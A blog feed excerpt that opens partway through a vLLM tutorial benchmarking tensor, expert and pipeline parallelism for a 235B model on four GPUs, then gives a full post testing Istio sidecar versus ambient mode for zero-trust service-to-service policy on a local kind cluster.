==================================================
```

and then again with 32 requests in flight, which is the same command with two numbers changed:

```bash
--max-concurrency 32 --num-prompts 640

Maximum request concurrency: 32
100%|██████████| 640/640 [05:23<00:00,  1.98it/s]
============ Serving Benchmark Result ============
Benchmark duration (s):                  319.66
Total input tokens:                      655360
Total generated tokens:                  163840
Request throughput (req/s):              2.00
Output token throughput (tok/s):         512.55
Total token throughput (tok/s):          2562.73
---------------Time to First Token----------------
Mean TTFT (ms):                          3420.78
Median TTFT (ms):                        3662.67
-----Time per Output Token (excl. 1st token)------
Median TPOT (ms):                        47.76
==================================================
```

**Why 32 in-flight requests and not some other number?** Because 32 is the ceiling we gave the server ourselves: `--max-num-seqs 32` tells vLLM to work on at most 32 requests per step. Benchmarking at exactly that ceiling shows the server fully loaded, which is the number you actually want for capacity planning.

**And what happens if a 33rd request arrives?** Nothing dramatic, and that is worth knowing. It is not rejected and it does not error. It waits in a queue inside the server, and the moment one of the 32 running requests finishes, it takes the freed slot.

So the cost of oversubscribing is waiting time, not failures: throughput stays flat because the server was already flat out, and the extra request simply sees a longer time to first token.

One subtlety: 32 is not the only ceiling in play. The startup log said this configuration holds about 19 full-length 32k conversations in its KV cache, and our benchmark requests are short, so `--max-num-seqs` is the limit that binds here. With long conversations the cache fills first, and instead of queueing politely vLLM starts preempting: it evicts a running request's cache and recomputes it later. Which ceiling you hit first depends entirely on how long your requests are.

One trap to know before you re-run this. vLLM caches prompt prefixes by default, so firing the same `--seed 42` prompts at a server that has already seen them measures the cache, not the model: ours reported time to first token "improving" from 265 ms to 61 ms that way, which was meaningless. Note that `--no-enable-prefix-caching` is a `vllm serve` flag, not a `vllm bench serve` one, so you cannot switch it off from the benchmark side. Either vary `--seed` between runs, or restart the server with caching disabled. Every figure below comes from a freshly started server, so each configuration began with an empty cache.

### The memory side

We ran the same pair of benchmarks against all three configurations. First, where the memory went:

|                        | TP=4                | TP=4 plus EP        | PP=4                              |
| ---------------------- | ------------------- | ------------------- | --------------------------------- |
| Weights per GPU        | 55.19 GiB           | 55.19 GiB           | 55.70 GiB                         |
| KV cache per GPU       | 27.85 GiB           | 27.96 GiB           | 26.84 GiB                         |
| Total KV cache         | 621,392 tokens      | **623,696 tokens**  | 555,680 tokens                    |
| Max concurrency at 32k | 18.96x              | **19.03x**          | 16.96x                            |
| GPU memory used        | 88,211 MiB on all 4 | 88,209 MiB on all 4 | 84,283 / 87,899 / 87,899 / 84,507 |

**Expert parallelism did not save memory.** It moved 0.37% of extra room into the cache, which is noise. If you were hoping expert parallelism would let you fit a model that otherwise does not fit, this is your warning that it will not.

**Pipeline parallelism cost 10.6% of the cache**, dropping from 621,392 tokens to 555,680, because a pipeline needs extra buffers for the activations travelling between stages and that comes straight out of your conversation capacity.

Look at the last row. Under tensor parallelism all four cards sat at **exactly 88,211 MiB**, the same number on every one. Under pipeline parallelism they ranged from 84,283 to 87,899 MiB, about 3.5 GiB apart, because a layer split cannot be perfectly even when 94 layers go over 4 GPUs and the ends of the model are not symmetric: the first stage carries the token embedding and the last carries the output head. That evenness check is the quickest sanity test you have that a tensor-parallel split is behaving.

### The speed side

| Measurement                             | TP=4         | TP=4 plus EP | PP=4         | Winner             |
| --------------------------------------- | ------------ | ------------ | ------------ | ------------------ |
| Median time per token, 1 request        | **17.11 ms** | 19.31 ms     | 21.17 ms     | TP                 |
| Output tokens/sec, 32 requests          | **512.55**   | 475.20       | 324.02       | TP, by 58% over PP |
| Median time to first token, 32 requests | 3,663 ms     | 3,666 ms     | **2,471 ms** | PP, by 33%         |

All three configurations were measured in one sitting on the same four cards, at `--num-prompts 640`, against a freshly started server each time.

Tensor parallelism won nearly everything, and one gap deserves attention. At 32 concurrent requests it produced **58% more tokens per second than pipeline parallelism**. That is not a rounding error, it is a different class of performance, and it lines up exactly with the reading-versus-writing split above.

- Tensor parallelism has all four GPUs working on every token.
- Pipeline parallelism has each GPU working on a different request's stage, and it only pays off when every stage takes the same time.

Ours do not: the memory table above shows the four stages holding 84,283 to 87,899 MiB, because 94 layers do not divide evenly by 4 and the first stage carries the token embedding while the last carries the output head.
Every uneven stage is a bubble the other three wait on, on every single token. Its median time per token was 24% worse for the same reason.

**Pipeline parallelism did win one thing, and it is the one the theory predicts:** time to first token, by 33%. Reading a 1,024-token prompt is exactly where tensor parallelism's 188 all-reduces get expensive, because each one carries the whole prompt's worth of data rather than a single token's.

Pipeline parallelism hands one activation tensor to the next stage and skips all of it. If your users judge you on how fast the first word appears, that is a real and measurable advantage.

Expert parallelism costing 7% is not a knock on the technique, and it is important not to over-read it. Expert parallelism exists to solve a problem we do not have: models so large that even a tensor-parallel split cannot hold all the experts, on clusters big enough that duplicating experts everywhere would be wasteful.

With 4 GPUs and a model that already fits, we are asking it to do a job it was not designed for and paying an extra network hop per token for nothing. On a 32 or 64 GPU deployment of a trillion-parameter model the answer would very likely flip.

### One number we threw away, and why

Being straight about this, because it is a good lesson in reading your own benchmarks. The very first expert-parallel run at one request at a time reported **28.71 output tokens per second**, which would have made expert parallelism look catastrophic. It was not real. Look at the two TTFT figures from that run:

```
Mean TTFT (ms):    3987.38
Median TTFT (ms):   265.56
```

A mean fifteen times the median means one request behaved completely differently from the other eleven. One request stalled for about 45 seconds, almost certainly a one-off kernel compilation on the first pass through a code path, and that single stall stretched the whole benchmark from 63 seconds to 107 seconds. Since throughput is just tokens divided by wall-clock, one stall wrecked the headline number.

That is why the speed table carries **median time per token** alongside aggregate throughput rather than relying on throughput alone. Median per-token latency does not care that one request had a bad start, so when the two rows agree, as they do for all three configurations above, the throughput figure is trustworthy. When they disagree, believe the median and go looking for a stall.

### What we would actually run

For a 235B MoE on 4 GPUs with no NVLink between them, we would use plain `--tensor-parallel-size 4` and leave both of the others off. It was faster nearly everywhere, it gives the most conversation capacity, it splits memory perfectly evenly, and it is one less thing to reason about.

We would reach for the other two in specific situations, not as general upgrades:

- **Pipeline parallelism** if time to first token is the metric you are judged on, or if you are spanning multiple machines where the network between them is genuinely slow. It was 33% better at first-token latency and it barely touches the interconnect.
- **Expert parallelism** when the model is so large that even a tensor-parallel split cannot hold all the experts. That is a real problem at trillion-parameter scale and simply is not our problem at 235B on 4 cards.

One more thing worth saying plainly, because it is the biggest caveat on every number above: **our GPUs have no NVLink.** Every one of those 188 all-reduces per token crosses PCIe and the link between CPU sockets.

On a machine with NVLink the all-reduce gets dramatically cheaper, tensor parallelism's one weakness at first-token latency shrinks, and pipeline parallelism's single win would likely disappear. If you are reading this table to plan hardware, the interconnect is the variable to check first.

## Step 7: Errors you will actually hit

Every one of these is a real message we collected while doing this, not a hypothetical.

### "must be divisible by tensor parallel size"

We asked for 3 GPUs, which is a perfectly reasonable-sounding thing to want, and got:

```
pydantic_core._pydantic_core.ValidationError: 1 validation error for VllmConfig
  Value error, Total number of attention heads (64) must be divisible by tensor
  parallel size (3).
```

**What it means:** the rule from Step 3. 64 heads cannot be shared out evenly among 3 GPUs. Good news, it fails in about a second, before loading a single byte of weights.

**The fix:** pick a `--tensor-parallel-size` that divides **both** head counts, attention and key/value. Do not just reach for the next power of two: `-tp 8` divides our 64 attention heads but not our 4 KV heads, which is the case Step 3 warns about.

### "Failed to load model - not enough GPU memory"

Then we tried 2 GPUs, which puts about 110 GiB of weights on a 95 GiB card. It got most of the way through loading and then died:

```
ERROR [gpu_model_runner.py:5403] Failed to load model - not enough GPU memory.
Try lowering --gpu-memory-utilization to free memory for weights, increasing
--tensor-parallel-size, or using --quantization.
(original error: CUDA out of memory. Tried to allocate 768.00 MiB. GPU 0 has a
total capacity of 95.01 GiB of which 438.31 MiB is free. Including non-PyTorch
memory, this process has 94.57 GiB memory in use.)
```

**What it means:** exactly what it says. The weights for half this model do not fit on one of these cards. Note the useful detail in there, `438.31 MiB is free` out of `95.01 GiB`, so it filled the card almost exactly and then had nowhere to put the next 768 MiB chunk.

**The fix:** vLLM lists the three real options itself, and for our case only one of them helps. Lowering `--gpu-memory-utilization` would make things worse, not better, because it reduces the space available for weights.

Quantizing further would work but changes the model. So the answer is more GPUs, which is the whole point of this post.

Worth knowing: this one is slow to fail, because it has to read and place most of the weights before it runs out. Budget several minutes, unlike the divisibility error which fails instantly.

### "Unknown SF transformation", the one that cost us the most time

This is the error we did not see coming, and it is worth the whole section. With 4 GPUs and everything sized correctly, all four workers died during startup:

```
RuntimeError: Assertion error (/workspace/.deps/deepgemm-src/csrc/apis/layout.hpp:60):
Unknown SF transformation
```

**What it means:** this model stores its FP8 weights in blocks, with a separate scale factor per 128x128 block, which you can see in its config as `"weight_block_size": [128, 128]`. vLLM hands that kind of matrix multiplication to a library called DeepGEMM, and DeepGEMM did not know how to lay out those scale factors ("SF" is scale factor) on our particular GPU.

The RTX PRO 6000 is Blackwell, but it reports as `sm_120`, which is not the same silicon target as the data-centre Blackwell parts that DeepGEMM is usually exercised on.

Notice how unhelpful the message is if you do not know that background. Nothing in it mentions FP8, quantization, or your GPU.

**The fix**, which is one environment variable:

```
docker run -d ... -e VLLM_USE_DEEP_GEMM=0 ... vllm/vllm-openai:latest ...
```

That tells vLLM to use its own FP8 kernels instead of DeepGEMM. Startup then went through cleanly. There is a performance cost to giving up a specialised kernel, so on hardware where DeepGEMM works you would leave it on.

**The general lesson:** a quantized model is a contract between the checkpoint's format and a kernel that understands it. When a big quantized model fails to start on hardware that clearly has enough memory, suspect the kernel and the number format before you suspect your parallelism settings.

### A confusing parse error when you try to run something else in the container

```
vllm serve: error: argument --compilation-config/-cc: Invalid JSON: expected value at line 2
```

**What it means:** you ran `docker run ... vllm/vllm-openai:latest python3 -c "..."`, but the image's entrypoint is already `vllm serve`, so your Python source got handed to vLLM as a command-line argument.

**The fix:** `--entrypoint python3`, as shown in Step 4.

### "No available shared memory broadcast block found in 60 seconds"

**What it means:** usually nothing. It shows up while vLLM is busy compiling or capturing CUDA graphs and the worker processes have not checked in for a minute. If it repeats forever and startup never finishes, then you probably forgot `--ipc=host` and the workers cannot pass data to each other through shared memory.

**The fix:** add `--ipc=host`. If you already have it, wait a bit longer, because CUDA graph capture on a big model is genuinely slow.

That is the runbook complete: the model is serving, you know what every flag is doing, and you know the failure modes.

## Wrapping up

Four things to carry out of this, all of them checks you can run in a minute.

**One.** Check your disk before you download. A quarter of a terabyte of weights on a shared machine is a question about everything else living on that disk, not just a storage question. `df -h` first, and leave real headroom.

**Two.** Check `num_key_value_heads` in `config.json` before you plan your hardware. It, not the parameter count, is usually what limits how many GPUs you can split across cleanly. Ours is 4, which is exactly why we run at `-tp 4` and not `-tp 8`.

**Three.** Work out the memory on paper first. Parameters times bytes-per-parameter gives you the weights, and then remember the weights are only one of three things that must fit, alongside the conversation cache and the working space. A model whose weights just barely fit is a model that cannot serve anybody.

**Four.** Read the startup log. `Model loading took`, the kv cache memory figure, `GPU KV cache size` and `Maximum concurrency` tell you, in four lines, whether your setup is sane and how many users it can actually hold. A negative cache number is the clearest error message in the whole stack.

And for a 235B mixture-of-experts model on four GPUs with no NVLink between them, the answer is plain `--tensor-parallel-size 4`. It was faster nearly everywhere, it gives the most conversation capacity, and it splits memory perfectly evenly.

Try it on whatever you have. Two GPUs are enough to see every one of these steps in action, and the log lines mean the same thing whether you are running 4 GPUs or 40. If you hit something we did not cover, tell us and we will add it.

**And check your interconnect before you buy anything.** Every number in Step 6 was measured on GPUs with no NVLink between them, so all 188 all-reduces per token crossed PCIe.

That single fact is why pipeline parallelism managed to win first-token latency at all. On a machine with NVLink we would expect that win to vanish. `nvidia-smi topo -m` tells you which world you are in, and it is the first command we run on any new box.

## Credits and references

- vLLM parallelism and scaling guide: [docs.vllm.ai/en/latest/serving/parallelism_scaling.html](https://docs.vllm.ai/en/latest/serving/parallelism_scaling.html)
- vLLM memory and optimization docs: [conserving_memory](https://docs.vllm.ai/en/latest/configuration/conserving_memory.html) and [optimization](https://docs.vllm.ai/en/latest/configuration/optimization.html)
- Model card and config: [huggingface.co/Qwen/Qwen3-235B-A22B-Instruct-2507-FP8](https://huggingface.co/Qwen/Qwen3-235B-A22B-Instruct-2507-FP8)
- Thanks to the vLLM maintainers, whose startup logging is the best free lesson in distributed inference available anywhere.

---

# Zero Trust in Practice: Migrating from Istio Sidecar to Ambient Mode

- Canonical: https://blog.kubesimplify.com/zero-trust-istio-sidecar-vs-ambient
- Published: 2026-08-31
- Summary: A hands-on comparison of Istio sidecar and ambient mode for zero-trust service mesh. Same app, same policy, two architectures proven step by step on a local cluster.

Microservices split one problem into many. What used to be a function call inside a single process becomes a network call between separately deployed services and every one of those calls now needs the things a function call got for free - encryption, a way to know who's actually calling and a rule for whether that call should be allowed at all.
 
Handle that inside application code and every team ends up building its own partial version of the same three problems. A service mesh exists to pull all three out of application code entirely into an infrastructure layer that sits next to every service and handles them the same way everywhere.
 
Istio is a service mesh technology where most of that conversation converges. It runs Envoy as its data plane, uses Kubernetes ServiceAccounts as its source of identity and treats encryption, identity and policy as one connected system rather than three separate tools bolted together.
 
What Istio actually operationalizes underneath the feature list is **zero trust**, the principle that nothing on your network gets trusted just because of where it sits. Not "this pod is inside the cluster so it's fine." Every call gets encrypted. Every caller gets a cryptographic identity. Every request gets checked against an explicit rule regardless of where it originated. A zero-trust migration is the actual work of moving a running system from "anything in the cluster can call anything" to that model without rewriting the applications themselves.
 
mTLS covers the encryption and identity half. `AuthorizationPolicy` covers the access-control half.
 
Istio ships two different architectures for delivering both: sidecar mode and ambient mode. They arrive at the same zero-trust outcome through totally different mechanics.
 
Let's try to concretely understand what changes when you move from Istio's sidecar model to ambient mode. The mechanical differences, what gets installed, what a pod looks like before and after, what a policy that works in one mode behaves in the other.
 
So I used a small microservice app, secured it twice on the same cluster once with Istio sidecars and once with ambient.
 
**To follow along you'll need:** a Kubernetes cluster (a local kind cluster is enough), `kubectl` and `istioctl`. Everything here runs on a single local cluster. No cloud account required. The full repo is at `github.com/Prianshu-git/Service-mesh-Zero-Trust-migration`.
 
---
 
## Missing Piece
 
Before touching Istio at all we deploy four plain Kubernetes services with no mesh whatsoever: `frontend`, `orders`, `payments`, `inventory`. Frontend and orders can reasonably call payments. Nothing else should be able to. With no mesh in place none of that was enforced by default.
 
Three things were missing and everything that follows is just those three gaps getting closed twice two different ways:
 
→ **No confidentiality.** Traffic between services was plain HTTP.
 
→ **No authentication.** Payments had no way to cryptographically verify who was actually calling it.
 
→ **No authorization.** Even if it wanted to enforce "only orders may call me" there was nowhere to put that rule.
 
> **Note on the demo architecture:** For this demonstration each "service" is deployed as `kennethreitz/httpbin`: an echo server that reflects back request headers. This lets us inspect mTLS identity headers directly. The actual policy tests are performed by running `curl` from temporary pods or by `kubectl exec` into the `frontend` pod which uses `curlimages/curl`. The app logic is irrelevant. What matters is whether the mesh allows or blocks the traffic.
 
---
 
## Two Architectures, One Goal
 
**Sidecar mode** has been Istio's model since 2017. Every pod that joins the mesh gets a second container injected into it, an Envoy proxy running as `istio-proxy`. A one-time init container installs iptables rules inside the pod's own network namespace so every byte in or out of your app container gets silently rerouted through that sidecar first. The sidecar terminates and originates mTLS, holds that pod's certificate and enforces whatever `AuthorizationPolicy` applies to it. Your application code never changes. But every pod whether or not it ever handles a sensitive request now carries a full proxy.
 
**Ambient mode** splits that same job into two layers instead of bolting a proxy onto every pod. A `ztunnel` runs once per node not once per pod as a DaemonSet. It handles mTLS and workload identity for every pod scheduled on that node using an HTTP CONNECT-based tunnel protocol called HBONE to talk to other nodes. It does not read HTTP. It has no concept of a path or a method. For that ambient adds a second optional component: a **waypoint**, the exact same Envoy binary the sidecar uses but deployed as its own independent workload attached only to the specific service that actually needs L7 rules.
 
In practice this changes how you join the mesh, how you write policy and what you're troubleshooting when the system doesn't do what it says. The rest of this post is that difference proven step by step on the same app on the same cluster.
 
---
 
## The Project
 
To make the comparison honest I set one constraint: the same application, the same intended policy under both architectures so nothing could be explained away by "the app was different."
 
The app is deliberately small and one design detail that matters: **each service gets its own Kubernetes ServiceAccount** not a shared one. Istio's identity model is built entirely on the ServiceAccount a pod runs as not the pod itself. If all four services shared one ServiceAccount there'd be no way to write a policy that says "only orders may call payments" because Istio would have no way to tell orders traffic apart from frontend's. Four ServiceAccounts is what makes the whole zero-trust story expressible at all.
 
The target policy is narrow on purpose: **payments only accepts POST requests to `/post` and only from orders.** Everything else including a direct call from frontend gets denied. That one rule gets implemented twice: once as a sidecar-mode policy and once as an ambient-mode one on the same cluster torn down cleanly between runs so neither phase could quietly lean on leftovers from the other.
 
---
 
## Standing Up the Cluster
 
A local kind cluster is enough for this:
 
```bash
kind create cluster --name zt-demo
```
 
```bash
kubectl get nodes
```
 
One node, one control plane, `Ready` status. No Istio components exist yet.
 
---
 
## Deploying the Baseline: No Mesh at All
 
```bash
kubectl apply -f app/
```
 
![Pods starting up with no mesh](/img/blog/zero-trust-istio-sidecar-vs-ambient/01-pods-no-mesh.png)
 
Four services coming up with zero Istio anywhere in the cluster. `READY 1/1`: one container, no sidecar because there's no mesh to inject one yet.
 
At this point calling payments directly from frontend with no policy anywhere just worked. No mesh means no gate. That's the baseline everything else in this post is measured against.
 
```bash
kubectl -n zt-demo exec deploy/frontend -- curl -s http://payments/post -X POST -d '{"amount": 500}'
```
 
```json
{
  "args": {},
  "data": "",
  "files": {},
  "form": {
    "{\"amount\": 500}": ""
  },
  "headers": {
    "Accept": "*/*",
    "Content-Length": "15",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "payments",
    "User-Agent": "curl/8.21.0"
  },
  "json": null,
  "origin": "10.244.0.8",
  "url": "http://payments/post"
}
```
 
The response is plain HTTP. No `X-Forwarded-Client-Cert` header. No encryption. No identity. The `origin` field shows the raw pod IP (`10.244.0.8`).
 
---
 
## Phase 1: Sidecar Mode, Step by Step
 
### Install and Inject
 
```bash
istioctl install --set profile=minimal -y
kubectl label namespace zt-demo istio-injection=enabled --overwrite
kubectl -n zt-demo rollout restart deployment orders payments inventory frontend
```
 
```text
✓ Istio core installed
✓ Istiod installed
✓ Installation complete
namespace/zt-demo labeled
deployment.apps/orders restarted
deployment.apps/payments restarted
deployment.apps/inventory restarted
deployment.apps/frontend restarted
```
 
Labeling a namespace for sidecar injection does nothing to pods that already exist. Kubernetes has no mechanism to add a container to a running pod so every workload has to be recreated. Watch the `READY` column: pods that were `1/1` a moment ago come back `2/2`. The `0/2` pending rows are pods still finishing sidecar startup. This is the first real operational cost of sidecar mode and it's visible directly in the pod list.
 
```bash
kubectl -n zt-demo wait --for=condition=Ready pod -l app=inventory --timeout=600s
kubectl -n zt-demo wait --for=condition=Ready pod -l app=orders --timeout=600s
kubectl -n zt-demo wait --for=condition=Ready pod -l app=payments --timeout=600s
kubectl -n zt-demo get pods
```
 
```text
NAME                         READY   STATUS    RESTARTS   AGE
frontend-599cd6b667-8sw7c    2/2     Running   0          40s
inventory-6656996d9d-k798x   2/2     Running   0          40s
orders-858bc67b6-txzzq       2/2     Running   0          40s
payments-5cbcb64d66-6jmws    2/2     Running   0          40s
```
 
All pods now at `2/2`. Every pod carries its own proxy.
 
### mTLS Is Already Working, Before Any Policy Says So
 
```bash
kubectl apply -f - <<EOF
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default
  namespace: zt-demo
spec:
  mtls:
    mode: STRICT
EOF
 
kubectl -n zt-demo exec deploy/frontend -- curl -s http://payments/post -X POST -d '{"amount": 500}'
```
 
```json
{
  "args": {},
  "data": "",
  "files": {},
  "form": {
    "{\"amount\": 500}": ""
  },
  "headers": {
    "Accept": "*/*",
    "Content-Length": "15",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "payments",
    "User-Agent": "curl/8.21.0",
    "X-Envoy-Attempt-Count": "1",
    "X-Forwarded-Client-Cert": "By=spiffe://cluster.local/ns/zt-demo/sa/payments;Hash=07f2362afe60ca7b0c09b171b56591ad11cb0e1d24683d3b439887e438f8e824;Subject=\"\";URI=spiffe://cluster.local/ns/zt-demo/sa/frontend"
  },
  "json": null,
  "origin": "127.0.0.6",
  "url": "http://payments/post"
}
```
 
This is frontend calling payments directly and it still succeeds because no `AuthorizationPolicy` exists yet. But look at the `X-Forwarded-Client-Cert` header that httpbin echoed back: `URI=spiffe://cluster.local/ns/zt-demo/sa/frontend`. Nothing in the app added that. The **destination sidecar** (payments' `istio-proxy`) extracted the caller's verified mTLS identity from the TLS handshake and attached it to the request before forwarding to the app container. The sidecar already knows exactly who's calling. It just isn't blocking anyone yet.
 
> **Transparent proxy note:** application code always sends plain `http://` to its local proxy. The sidecar transparently upgrades the connection to mutual TLS across the wire, you never change application code to `https://`.
 
> **What's `127.0.0.6`?** It's Envoy's internal loopback redirect IP, used in sidecar mode only. The iptables rules installed inside the pod redirect all outbound traffic through the local Envoy proxy first, so the upstream application sees `127.0.0.6` as the source instead of the real pod IP. Hold onto that, it flips to the real pod IP once we get to ambient mode, where there's no per-pod proxy to redirect through.
 
### Locking It Down: The Sidecar AuthorizationPolicy
 
Before applying one, here's the anatomy of an Istio `AuthorizationPolicy`:
 
- **`action`** - `ALLOW` or `DENY`
- **`selector` / `targetRefs`** - which workload or Gateway this policy attaches to
- **`rules`**
  - **`from`** - source identities (`principals`) allowed to connect
  - **`to`** - operations allowed: HTTP methods, paths, or ports
  - **`when`** - optional extra conditions
The policy below attaches directly to the workload using `selector.matchLabels`. The sidecar inside the `payments` pod evaluates this rule. The `principals` field references the SPIFFE identity derived from the `orders` ServiceAccount.
 
```bash
kubectl apply -f - <<EOF
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: payments-only-orders
  namespace: zt-demo
spec:
  selector:
    matchLabels:
      app: payments
  action: ALLOW
  rules:
    - from:
        - source:
            principals:
              - "cluster.local/ns/zt-demo/sa/orders"
      to:
        - operation:
            methods: ["POST"]
            paths: ["/post"]
EOF
```
 
Now the actual proof. First from orders:
 
```bash
kubectl run curl-orders -n zt-demo --image=curlimages/curl --restart=Never \
  --overrides='{"spec":{"serviceAccountName":"orders"}}' \
  -- curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments.zt-demo.svc.cluster.local/post -X POST -d '{"amount": 500}'
```
 
```text
200
```
 
Orders gets a `200`.
 
Then from frontend:
 
```bash
kubectl -n zt-demo exec deploy/frontend -- \
  curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments/post -X POST -d '{"amount": 500}'
```
 
```text
403
```
 
Frontend gets a `403`. Same cluster, same service, same everything except its identity. That gap (`200` vs `403` based purely on cryptographic identity) is the entire point of this project.
 
---
 
## Resetting Cleanly Before Switching Architectures
 
Running sidecar and ambient side by side on the same cluster would result in double the control and data plane cost and for our purpose doing that would make it impossible to tell which architecture was responsible for which behavior later. So between phases everything is stripped down.
 
```bash
istioctl uninstall --purge -y
kubectl delete namespace zt-demo
kubectl delete namespace istio-system
```
 
Both namespaces terminating, back to a clean slate. No leftover certificates, no leftover policies, no ambiguity about which mesh is enforcing what.
 
---
 
## Phase 2: Ambient Mode, Step by Step
 
### Install and Label: No Restart Required
 
```bash
istioctl install --set profile=ambient -y
kubectl label namespace zt-demo istio.io/dataplane-mode=ambient --overwrite
```
 
```text
✓ Istio core installed
✓ CNI installed
✓ Istiod installed
✓ Ztunnel installed
✓ Installation complete
The ambient profile has been installed successfully, enjoy Istio without sidecars!
namespace/zt-demo labeled
```
 
Compare the `AGE` column here to the rollout-restart output from Phase 1. Every pod is still the exact same age, the exact same pods that were already running, because ambient mode has no per-pod container to inject. Labeling the namespace was the entire operation. No restart, no downtime.
 
At this point mTLS is already active for every pod in the namespace with zero `PeerAuthentication` resource applied because ztunnel enforces it by default for anything in the mesh.
 
> **Note on ambient mTLS defaults:** In ambient mode ztunnel automatically encrypts in-mesh traffic using mTLS. You only need a `PeerAuthentication` resource if you want to explicitly control the mode (for example `PERMISSIVE` to allow plaintext from outside the mesh or `STRICT` to reject anything non-mTLS). For this demo we rely on the ambient default.
 
### mTLS Active by Default
 
```bash
kubectl -n zt-demo exec deploy/frontend -- curl -s http://payments/post -X POST -d '{"amount": 500}'
```
 
```json
{
  "args": {},
  "data": "",
  "files": {},
  "form": {
    "{\"amount\": 500}": ""
  },
  "headers": {
    "Accept": "*/*",
    "Content-Length": "15",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "payments",
    "User-Agent": "curl/8.21.0"
  },
  "json": null,
  "origin": "10.244.0.20",
  "url": "http://payments/post"
}
```
 
The call succeeds (`200`) confirming ztunnel is encrypting traffic. But notice: no `X-Forwarded-Client-Cert` header and the `origin` is the real pod IP (`10.244.0.20`), not `127.0.0.6`. In sidecar mode the destination proxy injects the identity header and redirects through localhost. In ambient mode without a waypoint, ztunnel handles encryption at L4 without touching HTTP headers. The identity is still cryptographically verified - you just can't see it in the HTTP response yet.
 
### Where Ambient Draws Its Line: The Fail-Safe Behavior
 
Here is the critical learning moment. When applying the exact same `AuthorizationPolicy` shape that worked cleanly in sidecar mode directly in ambient mode, it got accepted but with a warning attached to its status field:
 
```bash
kubectl apply -f - <<EOF
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: payments-only-orders
  namespace: zt-demo
spec:
  selector:
    matchLabels:
      app: payments
  action: ALLOW
  rules:
    - from:
        - source:
            principals:
              - "cluster.local/ns/zt-demo/sa/orders"
      to:
        - operation:
            methods: ["POST"]
            paths: ["/post"]
EOF
 
kubectl -n zt-demo get authorizationpolicy payments-only-orders -o jsonpath='{range .status.conditions[*]}{.type}{"="}{.reason}{" "}{.message}{"\n"}{end}'
```
 
```text
ZtunnelAccepted=UnsupportedValue ztunnel does not support HTTP attributes (found: methods, paths). In ambient mode you must use a waypoint proxy to enforce HTTP rules. Within an ALLOW policy, rules matching HTTP attributes are omitted. This will be more restrictive than requested.
```
 
Istio's own status field states it plainly: ztunnel does not support HTTP attributes (methods, paths). In ambient mode you must use a waypoint proxy to enforce HTTP rules. But here is what the warning does not fully capture: **ztunnel fails safe.** When an `ALLOW` policy contains L7 rules that ztunnel cannot evaluate, ztunnel omits those rules and the policy becomes more restrictive than requested - effectively a **DENY-all** for traffic that would have matched the omitted rules. It does not silently do less than asked. It protects you from misconfiguration by blocking traffic it cannot properly evaluate.
 
In our test the result was a connection failure (`000`) rather than an HTTP `403`.
 
> **`000` vs `403`:** `000` is what curl prints for `%{http_code}` when it never receives an HTTP response at all - here, because ztunnel dropped the TCP connection at Layer 4 before any HTTP exchange could happen. `403` is an actual HTTP response returned by a Layer 7 proxy (like Envoy) after it inspected the request and rejected it. In the frontend test below, curl's own process **exit code** is `56` ("failure in receiving network data") - a separate number from the `000` status placeholder, and further confirmation that the connection was cut, not answered.
 
```bash
# Test from orders
kubectl run curl-orders -n zt-demo --image=curlimages/curl --restart=Never \
  --overrides='{"spec":{"serviceAccountName":"orders"}}' \
  -- curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments.zt-demo.svc.cluster.local/post -X POST -d '{"amount": 500}'
```
 
```text
000
```
 
```bash
# Test from frontend
kubectl -n zt-demo exec deploy/frontend -- \
  curl -s -o /dev/null -w '%{http_code}\n' --max-time 5 \
  http://payments/post -X POST -d '{"amount": 500}'
```
 
```text
000
command terminated with exit code 56
```
 
Both denied. Orders with the correct identity and frontend without it both get blocked. ztunnel is L4-only by design. L4 gives you identity-based rules like "A can call B" which is exactly what ztunnel enforces. The path-and-method rule I wrote needed the L7 layer which is exactly what the waypoint below exists to provide.
 
![Istio L4 vs L7 security comparison](/img/blog/zero-trust-istio-sidecar-vs-ambient/l4-l7-security-table.png)
 
### The Bridge: Why Waypoints Use Gateway API
 
ztunnel handles Layer 4 (TCP + mTLS) only. It secures the wire and authenticates peers, but it cannot look inside HTTP requests. To enforce policies based on HTTP paths, methods, or headers, Ambient Mesh deploys an on-demand Envoy pod called a **Waypoint**. Istio models waypoints using the standard Kubernetes Gateway API resources rather than inventing a new CRD. The Waypoint acts as an L7 proxy for a specific service, sitting in the data path only when needed.
 
### Bringing in a Waypoint for the One Service That Needs It
 
```bash
# Install Gateway API CRDs first
kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.1.0/standard-install.yaml
 
# Create the waypoint
istioctl waypoint apply --namespace zt-demo --name payments-waypoint --for service
```
 
```text
customresourcedefinition.apiextensions.k8s.io/gatewayclasses.gateway.networking.k8s.io created
customresourcedefinition.apiextensions.k8s.io/gateways.gateway.networking.k8s.io created
...
✓ waypoint zt-demo/payments-waypoint applied
```
 
Only payments gets a waypoint. Frontend, orders and inventory never do because none of them need HTTP-level policy. ztunnel's L4 identity and encryption is all they ever require.
 
A waypoint is not a custom Istio object. It is a standard Kubernetes Gateway API resource. Here is what gets created:
 
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: payments-waypoint
  namespace: zt-demo
spec:
  gatewayClassName: istio-waypoint
  listeners:
    - name: mesh
      port: 15008
      protocol: HBONE
```
 
Waypoints plug into the same Gateway API model Kubernetes already has rather than inventing a new one.
 
Once istiod finishes reconciling it, `istioctl waypoint status` confirms it: `Programmed`, assigned to `payments-waypoint.zt-demo.svc.cluster.local:15008`, ready to receive traffic.
 
### The Full Picture, Running
 
```bash
echo '--- namespace labels ---' && kubectl get namespace zt-demo --show-labels
echo '--- app pods ---' && kubectl -n zt-demo get pods -o wide
echo '--- ztunnel pods ---' && kubectl -n istio-system get pods -l app=ztunnel -o wide
echo '--- waypoint pods ---' && kubectl -n zt-demo get pods -l gateway.networking.k8s.io/gateway-name=payments-waypoint -o wide
```
 
![Full ambient mesh pod listing](/img/blog/zero-trust-istio-sidecar-vs-ambient/16-full-ambient-view.png)
 
